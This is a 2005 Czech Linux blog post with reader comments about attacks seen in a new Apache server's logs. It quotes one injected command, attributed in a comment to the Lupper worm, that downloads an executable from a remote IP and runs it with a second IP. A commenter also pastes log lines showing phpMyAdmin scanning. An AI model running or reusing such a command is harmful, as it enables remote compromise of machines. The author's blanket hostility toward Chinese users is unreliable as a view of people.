Globální mánie HTTP útoků a Čína

Přihlášení | Registrace

napište » Zprávičky

Neoprávněný přístup do GitLab instance používané konzultačním týmem Red Hatu

dnes 01:11 | Bezpečnostní upozornění

Red Hat řeší bezpečnostní incident, při kterém došlo k neoprávněnému přístupu do GitLab instance používané jejich konzultačním týmem.

Ladislav Hagara | Komentářů: 0

Immich 2.0.0

včera 23:33 | Nová verze

Immich byl vydán v první stabilní verzi 2.0.0 (YouTube). Jedná se o alternativu k výchozím aplikacím od Googlu a Applu pro správu fotografií a videí umožňující vlastní hosting serveru Immich. K vyzkoušení je demo. Immich je součástí balíčků open source aplikací FUTO. Zdrojové kódy jsou k dispozici na GitHubu pod licencí AGPL-3.0.

Ladislav Hagara | Komentářů: 0

ČTÚ vydal zprávy o vývoji cen a trhu elektronických komunikací se zaměřením na rok 2024

včera 22:33 | IT novinky

Český telekomunikační úřad vydal zprávy o vývoji cen a trhu elektronických komunikací se zaměřením na rok 2024. Jaká jsou hlavní zjištění? V roce 2024 bylo v ČR v rámci služeb přístupu k internetu v pevném místě přeneseno v průměru téměř 366 GB dat na jednu aktivní přípojku měsíčně – celkově jich tak uživateli bylo přeneseno přes 18 EB (Exabyte). Nejvyužívanějším způsobem přístupu k internetu v pevném místě zůstal v roce 2024 bezdrátový

… více »

Ladislav Hagara | Komentářů: 0

Raspberry Pi OS 2025-10-01

včera 12:11 | Nová verze

Raspberry Pi OS, oficiální operační systém pro Raspberry Pi, byl vydán v nové verzi 2025-10-01. Přehled novinek v příspěvku na blogu Raspberry Pi a poznámkách k vydání. Jedná o první verzi postavenou na Debianu 13 Trixie.

Ladislav Hagara | Komentářů: 0

MuseScore Studio 4.6

včera 05:22 | Nová verze

Byla vydána nová verze 4.6 svobodného notačního programu MuseScore Studio (Wikipedie). Představení novinek v oznámení v diskusním fóru a také na YouTube.

Ladislav Hagara | Komentářů: 0

Společnost DuckDuckGo věnovala 1,1 milionu dolarů na podporu digitálních práv, online soukromí a lepšího internetového ekosystému

včera 02:22 | Komunita

Společnost DuckDuckGo stojící za stejnojmenným vyhledávačem věnovala 1,1 milionu dolarů (stejně jako loni) na podporu digitálních práv, online soukromí a lepšího internetového ekosystému. Rozdělila je mezi 29 organizací a projektů. Za 15 let rozdala 8 050 000 dolarů.

Ladislav Hagara | Komentářů: 4

Bevy 0.17

1.10. 20:11 | Nová verze

Svobodný multiplatformní herní engine Bevy napsaný v Rustu byl vydán ve verzi 0.17. Díky 278 přispěvatelům.

Ladislav Hagara | Komentářů: 0

openSUSE Leap 16

1.10. 16:11 | Nová verze

Bylo vydáno openSUSE Leap 16 (cs). Ve výchozím nastavení přichází s vypnutou 32bitovou (ia32) podporou. Uživatelům však poskytuje možnost ji ručně povolit a užívat si tak hraní her ve Steamu, který stále závisí na 32bitových knihovnách. Změnily se požadavky na hardware. Leap 16 nyní vyžaduje jako minimální úroveň architektury procesoru x86-64-v2, což obecně znamená procesory zakoupené v roce 2008 nebo později. Uživatelé se starším hardwarem mohou migrovat na Slowroll nebo Tumbleweed.

Ladislav Hagara | Komentářů: 3

Nový DeepTech fond podpoří vysoce inovativní startupy

1.10. 16:00 | IT novinky

Ministerstvo průmyslu a obchodu (MPO) ve spolupráci s Národní rozvojovou investiční (NRI) připravuje nový investiční nástroj zaměřený na podporu špičkových technologií – DeepTech fond. Jeho cílem je posílit inovační ekosystém české ekonomiky, rozvíjet projekty s vysokou přidanou hodnotou, podpořit vznik nových technologických lídrů a postupně zařadit Českou republiku mezi země s nejvyspělejší technologickou základnou.

… více »

Ladislav Hagara | Komentářů: 3

Radicle 1.5.0

1.10. 12:55 | Nová verze

Radicle byl vydán ve verzi 1.5.0 s kódovým jménem Hibiscus. Jedná se o distribuovanou alternativu k softwarům pro spolupráci jako např. GitLab.

Ladislav Hagara | Komentářů: 3

Centrum | Napsat | Starší

navrhněte » Anketa

Jaké řešení používáte k vývoji / práci?

Github (40%)

Gitlab (47%)

Atlassian (14%)

Bitbucket (16%)

Gitea (18%)

Mercurial (14%)

jen git (18%)

jen svn (14%)

Jiné (uvedu v diskusi) (14%)

Celkem 159 hlasů

Komentářů: 10, poslední dnes 01:37

Rozcestník

AbcLinuxu

HDmag.cz

Luboš Doležel (Doli) - Doliho blog

Aktuální zápisy

? Archív

? Oblíbené stránky

? Současný desktop

? Navigace

Nej blogů na AbcLinuxu

Nejčtenější za poslední měsíc

Nejkomentovanější za poslední měsíc

AbcLinuxu:/ Blogy / Doliho blog / Ostatní / Globální mánie HTTP útoků a Čína

Štítky: Apache, Internet, sítě, SSH, stahování, wget

Globální mánie HTTP útoků a Čína

16.11.2005 21:04 | Přečteno: 1416× | Ostatní | poslední úprava: 16.11.2005 21:10

Na svůj free vserver u Pípni jsem si dal Apache 2. To, že někdo občas pálí do SSH mě nijak nepřekvapuje, ale pohled do logu Apache byl pro mě šok.

Vůbec jsem nečekal, že je mánie útoků na webservery tak veliká. Už jenom za půlhodinu běhu webserveru na mě nějaké čínské univerzity trvale chrlí úplné kraviny a Američani se zase snaží o toto (úryvek z požadavku):

echo;echo YYY;cd /tmp;wget 24.224.174.18/listen;chmod +x listen;./listen 216.102.212.115;echo YYY;echo

Apache mám up2date, stránky tam prakticky zatím žádné nejsou, takže mě nijak neohrožují, ale i tak se odhodlávám k jednomu kroku: začít blokovat celé čínské ranky IP adres. Číňani mě nezajímají a jediné, co z jejich super země přes internet ke mě jde, jsou jen útoky a spam, kterému nerozumím.

Ale tohle není jediným důvodem, proč tohle píšu. Nedavno jsem něco stahoval a shodou náhod byl server v Číně. Překvapila mě velice nízká rychlost přenosu, která se příliš neliší ani u jiných čínských serverů a neliší se ani když zkusím přenos z jiného místa (kde mám lepší připojení). Ztráty paketů jsou šílené.

Skoro bych myslel, že je to délkou trasy do Číny...ale jiné státy (Austrálie, Japonsko, Jižní Korea) jsou na tom o poznání lépe. Častokrát slyším, že Čína není tak zlá, když se u nich může jakž takž svobodně brouzdat po internetu - a já se ptám: je tomu opravdu tak? Podle mých odhadů si toho moc ze zahraničí ani nepřečtou, protože by u toho loadování za chvíli zestárli...

Hodnocení: -

zatím nehodnoceno

špatné • dobré

Tiskni Sdílej:

Komentáře

Nástroje: Začni sledovat (2) ? , Tisk

Vložit další komentář

16.11.2005 21:12 vencour | skóre: 56 | blog: Tady je Vencourovo | Praha+západní Čechy
Rozbalit Rozbalit vše Re: Globální mánie HTTP útoků a Čína

Odpovědět | Sbalit | Link | Blokovat | Admin

Jak jsem slyšel, je v Číně cenzura netu. Tohle by to potvrzovalo. P.S. v trace je vidět časová dostupnost - dá se z ní něco vyčíst?

Ty nejhlubší objevy nečekají nutně za příští hvězdou. Jsou uvnitř nás utkány do vláken, která nás spojují, nás všechny.

16.11.2005 21:15 Luboš Doležel (Doli) | skóre: 98 | blog: Doliho blog | Kladensko
Rozbalit Rozbalit vše Re: Globální mánie HTTP útoků a Čína

Vidím jen to, že za hranicemi (nebo vlastně na hranicích) se s pakety dějí divné věci - nahodile se zpožďují a ztrácejí se.

17.11.2005 16:57 JiK | skóre: 13 | blog: Jirkoviny | Virginia
Rozbalit Rozbalit vše Re: Globální mánie HTTP útoků a Čína

zadnou cenzuru jsem nepozoroval, prijde mi to jako FUD, zil jsem v Shanghai nekolik mesicu, a zrizeni pevne linky a ADSL bylo vyrazne rychlejsi nez v Cechistanu.

Nenechte se pomylit, on v Cine zadny komunismus ani socialismus neni, tam je tak ostry kapitalismus ze by se z toho nam, lenivym evropanum jen protacely panenky (i tem kdo voli pravici).

Zdarma neni nic, od lekarske pece, pres skolstvi, kdy musis platit skolne uz od ZS jinak budes negramotny rolnik co taha pluh misto dobytka, statni firmy prakticky neexistuji, obchody maj otevreno 7-24 a stejne tak neexistuji odbory, soboty a nedele a jine socialisticke hovadiny...

Jirka Cech

17.11.2005 18:42 tomasgn | skóre: 23 | JN89GE
Rozbalit Rozbalit vše Re: Globální mánie HTTP útoků a Čína

BTW, ja tedy soboty a nedele za (socialisticke) hovadiny nepovazuji. naopak povazuji za hovadinu otviraci dobu vsude mozne od nevidim do nevidim.

16.11.2005 21:17 Luboš Doležel (Doli) | skóre: 98 | blog: Doliho blog | Kladensko
Rozbalit Rozbalit vše Spam

Odpovědět | Sbalit | Link | Blokovat | Admin

Jinak tady vidíte, proč nemám rád Čínu...kdybych tomu spamu alespoň rozuměl - ale takhle :-(

Screenshot

17.11.2005 10:47 Nejsemtu | skóre: 14 | blog: Nejde Smazat
Rozbalit Rozbalit vše Re: Spam

http://babel.altavista.com

Používám na prohlížení japonských a čínských stránek. Možná by to i ten spam přeložilo ;)).

16.11.2005 21:30 Ondřej Čečák | skóre: 33
Rozbalit Rozbalit vše Re: Globální mánie HTTP útoků a Čína

Odpovědět | Sbalit | Link | Blokovat | Admin

"Skoro bych myslel, že je to délkou trasy do Číny...ale jiné státy (Austrálie, Japonsko, Jižní Korea)"

Ruku do ohne (resp. nemam chut to overovat) bych za to nedal, ale neni od nas nahodou po tluste lince bliz do Australie nez do Ciny?

-- "Ja vim, on vi, ty pico!"

16.11.2005 21:34 Luboš Doležel (Doli) | skóre: 98 | blog: Doliho blog | Kladensko
Rozbalit Rozbalit vše Re: Globální mánie HTTP útoků a Čína

To hodně závisí na trase...ode mě to do Austrálie jde přes USA, do Číny taky buď přes USA nebo jen přes německý T-Mobile a pak je tam rovnou Čína (ale lag to má taky šílený).

Jinde bude zase jiná trasa.

16.11.2005 21:39 Luboš Doležel (Doli) | skóre: 98 | blog: Doliho blog | Kladensko
Rozbalit Rozbalit vše Re: Globální mánie HTTP útoků a Čína

Odpovědět | Sbalit | Link | Blokovat | Admin

Ten požadavek, co jsem napsal do blogu, byl na URL /cgi-bin/awstats/awstats.pl...takže Linux/Lupper.B útočí. Mám v logu i různé požadavky na xmlrpc (taky Lupper).

17.11.2005 08:32 Tomáš | skóre: 25 | Ústí nad Labem
Rozbalit Rozbalit vše Re: Globální mánie HTTP útoků a Čína

Odpovědět | Sbalit | Link | Blokovat | Admin

To já občas nacházím v logu apache věci jako:


[Fri Nov 04 05:17:48 2005] [error] [client 200.190.117.50] File does not exist: /var/www/stats
[Fri Nov 04 05:17:48 2005] [error] [client 200.190.117.50] File does not exist: /var/www/awstats.pl
[Fri Nov 04 05:17:49 2005] [error] [client 200.190.117.50] File does not exist: /var/www/cgi
[Fri Nov 04 08:00:59 2005] [error] [client 66.135.37.138] File does not exist: /var/www/PMA
[Fri Nov 04 08:00:59 2005] [error] [client 66.135.37.138] File does not exist: /var/www/mysql
[Fri Nov 04 08:00:59 2005] [error] [client 66.135.37.138] File does not exist: /var/www/admin
[Fri Nov 04 08:01:00 2005] [error] [client 66.135.37.138] File does not exist: /var/www/db
[Fri Nov 04 08:01:00 2005] [error] [client 66.135.37.138] File does not exist: /var/www/dbadmin
[Fri Nov 04 08:01:00 2005] [error] [client 66.135.37.138] File does not exist: /var/www/web
[Fri Nov 04 08:01:00 2005] [error] [client 66.135.37.138] File does not exist: /var/www/admin
[Fri Nov 04 08:01:00 2005] [error] [client 66.135.37.138] File does not exist: /var/www/admin
[Fri Nov 04 08:01:00 2005] [error] [client 66.135.37.138] File does not exist: /var/www/admin
[Fri Nov 04 08:01:01 2005] [error] [client 66.135.37.138] File does not exist: /var/www/mysql-admin
[Fri Nov 04 08:01:01 2005] [error] [client 66.135.37.138] File does not exist: /var/www/phpmyadmin2
[Fri Nov 04 08:01:01 2005] [error] [client 66.135.37.138] File does not exist: /var/www/mysqladmin
[Fri Nov 04 08:01:01 2005] [error] [client 66.135.37.138] File does not exist: /var/www/mysql-admin
[client 66.135.37.138] script '/var/www/main.php' not found or unable to stat
[Fri Nov 04 08:01:01 2005] [error] [client 66.135.37.138] File does not exist: /var/www/phpMyAdmin-2.5.6
[Fri Nov 04 08:01:02 2005] [error] [client 66.135.37.138] File does not exist: /var/www/phpMyAdmin-2.5.4
[Fri Nov 04 08:01:02 2005] [error] [client 66.135.37.138] File does not exist: /var/www/phpMyAdmin-2.5.1
[Fri Nov 04 08:01:02 2005] [error] [client 66.135.37.138] File does not exist: /var/www/phpMyAdmin-2.2.3
[Fri Nov 04 08:01:02 2005] [error] [client 66.135.37.138] File does not exist: /var/www/phpMyAdmin-2.2.6
[Fri Nov 04 08:01:02 2005] [error] [client 66.135.37.138] File does not exist: /var/www/myadmin
[Fri Nov 04 08:20:20 2005] [error] [client 212.80.76.104] File does not exist: /var/www/register.py
[Fri Nov 04 11:22:07 2005] [error] [client 212.80.76.104] File does not exist: /var/www/register.py
[Fri Nov 04 16:59:48 2005] [error] [client 24.196.79.169] File does not exist: /var/www/PMA
[Fri Nov 04 16:59:48 2005] [error] [client 24.196.79.169] File does not exist: /var/www/mysql
[Fri Nov 04 16:59:48 2005] [error] [client 24.196.79.169] File does not exist: /var/www/admin
[Fri Nov 04 16:59:48 2005] [error] [client 24.196.79.169] File does not exist: /var/www/db
[Fri Nov 04 16:59:48 2005] [error] [client 24.196.79.169] File does not exist: /var/www/dbadmin
[Fri Nov 04 16:59:48 2005] [error] [client 24.196.79.169] File does not exist: /var/www/web
[Fri Nov 04 16:59:48 2005] [error] [client 24.196.79.169] File does not exist: /var/www/admin
[Fri Nov 04 16:59:49 2005] [error] [client 24.196.79.169] File does not exist: /var/www/admin
[Fri Nov 04 16:59:49 2005] [error] [client 24.196.79.169] File does not exist: /var/www/admin
[Fri Nov 04 16:59:49 2005] [error] [client 24.196.79.169] File does not exist: /var/www/mysql-admin
[Fri Nov 04 16:59:49 2005] [error] [client 24.196.79.169] File does not exist: /var/www/phpmyadmin2
[Fri Nov 04 16:59:49 2005] [error] [client 24.196.79.169] File does not exist: /var/www/mysqladmin
[Fri Nov 04 16:59:49 2005] [error] [client 24.196.79.169] File does not exist: /var/www/mysql-admin
[client 24.196.79.169] script '/var/www/main.php' not found or unable to stat
[Fri Nov 04 16:59:49 2005] [error] [client 24.196.79.169] File does not exist: /var/www/phpMyAdmin-2.5.6
[Fri Nov 04 16:59:49 2005] [error] [client 24.196.79.169] File does not exist: /var/www/phpMyAdmin-2.5.4
[Fri Nov 04 16:59:50 2005] [error] [client 24.196.79.169] File does not exist: /var/www/phpMyAdmin-2.5.1
[Fri Nov 04 16:59:50 2005] [error] [client 24.196.79.169] File does not exist: /var/www/phpMyAdmin-2.2.3
[Fri Nov 04 16:59:50 2005] [error] [client 24.196.79.169] File does not exist: /var/www/phpMyAdmin-2.2.6
[Fri Nov 04 16:59:50 2005] [error] [client 24.196.79.169] File does not exist: /var/www/myadmin
[Fri Nov 04 20:14:00 2005] [error] [client 195.38.80.134] File does not exist: /var/www/PMA
[Fri Nov 04 20:14:00 2005] [error] [client 195.38.80.134] File does not exist: /var/www/mysql
[Fri Nov 04 21:15:10 2005] [error] [client 195.38.80.134] File does not exist: /var/www/PMA
[Fri Nov 04 21:15:10 2005] [error] [client 195.38.80.134] File does not exist: /var/www/mysql
[Sat Nov 05 05:39:40 2005] [error] [client 24.86.124.214] File does not exist: /var/www/pk
[Sat Nov 05 09:06:31 2005] [error] [client 212.80.76.104] File does not exist: /var/www/register.py
[Sat Nov 05 17:30:38 2005] [error] [client 69.64.32.73] File does not exist: /var/www/cacti
[Sun Nov 06 05:35:28 2005] [error] [client 24.86.124.214] File does not exist: /var/www/pk

Ten stroj sice má veřejnou IP (logicky), ale žádná doména na něj nesměruje, google a jiní o něm ani nemají potuchu, takže co? Někdo projíždí rozsah IP adres a hledá známe exploity?

17.11.2005 09:56 trancelius | skóre: 22
Rozbalit Rozbalit vše Re: Globální mánie HTTP útoků a Čína

Někdo projíždí rozsah IP adres a hledá známe exploity?

Spíš něco, uživatel toho stroje o tom asi ani neví :)

17.11.2005 17:13 nway | skóre: 17 | Česká Lípa
Rozbalit Rozbalit vše Re: Globální mánie HTTP útoků a Čína

Jsem na tom úplně stejně, ale crond to uklidí :-)

Založit nové vlákno • Nahoru

Píšeme jinde

ISSN 1214-1267 www.czech-server.cz

Redakce | Inzerce | Podmínky použití | Osobní údaje